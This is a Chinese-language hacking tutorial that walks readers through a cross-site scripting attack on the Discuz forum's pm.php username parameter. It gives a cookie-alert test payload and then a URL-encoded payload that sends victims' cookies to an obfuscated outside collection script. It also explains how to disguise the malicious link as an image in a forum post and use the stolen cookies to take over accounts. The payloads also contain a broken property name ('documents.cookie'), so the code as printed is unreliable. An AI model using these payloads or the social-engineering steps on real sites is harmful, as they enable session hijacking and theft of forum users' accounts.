这次我拿Discuz示范给大家看,首先我们都知道,Discuz在pm.php的程式中,并没有对

会员名字做过滤,导致我们可以写入一些script.

聪明的同学们,想到了吗?我们正可以利用这个漏洞写一段获取cookies的script.

这是要像看到颜色就会反应的!(取自数学补习班==")

所以我们先从本端获取自己cookies看看...

例句:

http://www.abc.com/pm.php?action=send&username=看啥?"><script>alert(documents.cookie)</script><

OK?接下来我们为了要获取别人的cookies所以采用跨站台的方式,

首先把让对方看了我们精心构制好的URL.连了之后会到我们构制好的phporasp程式里面.

并把对方自己的cookies写入我们的程式中...(如果需要请googles搜寻大陆狗那边一堆)...

所以啦~获取到对方cookies之后,我们找自己在该论坛的cookies记录..

找到之后把cookies里面的资讯改成对方的使用者名称,以及加密过的md5码...

切记md5码是不可以反逆的~

现在我把原理说完ㄌ...开始实战吧~~小杂碎快来阿!

现在已经知道pm.php的bug.我们也已经把php程式上传准备完成.

接下来我们到论坛发link!P.S.有些论坛还可以利用头像来欺骗...

全看个人的思维....(想起数学老师ㄌ==")

我贴了个问电脑问题的文章连结,并附上图片...(嘿嘿重点在图片拉~)

我假设有一个假网址,http://myweb.hinet.net/uarestupid/home1/XXX.jpg

随便你写只要看起来像个图片连结就够了....

并把http://myweb.hinet.net/uarestupid/home1/XXX.jpg加上我们漏洞的连结,

所以看起来就是这样:

http://myweb.hinet.net/uarestupid/home1/XXX.jpg

以上这段图片link看起来大家都毫不考虑的认为真的是图片...

其实连结到,

http://www.abc.com/pm.php?action=send&username=fuck%22%3E%3Cscript%3Ewindow.open("%68%74%74%70%3A%2F%2F%6D%65%6D%62%65%72%73%2E%6C%79%63%6F%73%2E%63%6F%2E%75%6B%2F%6A%65%72%65%6D%79%68%63%77%2F%68%2E%70%68%70?"%2Bdocuments.cookie)%3C/script%3E%3Cb%22

以上我已经url编码过了,用功的同学用cookies搜一下吧...

所以呢他按了图片连结后....把自己的cookies送出去了=="但是他还是可以看到图片...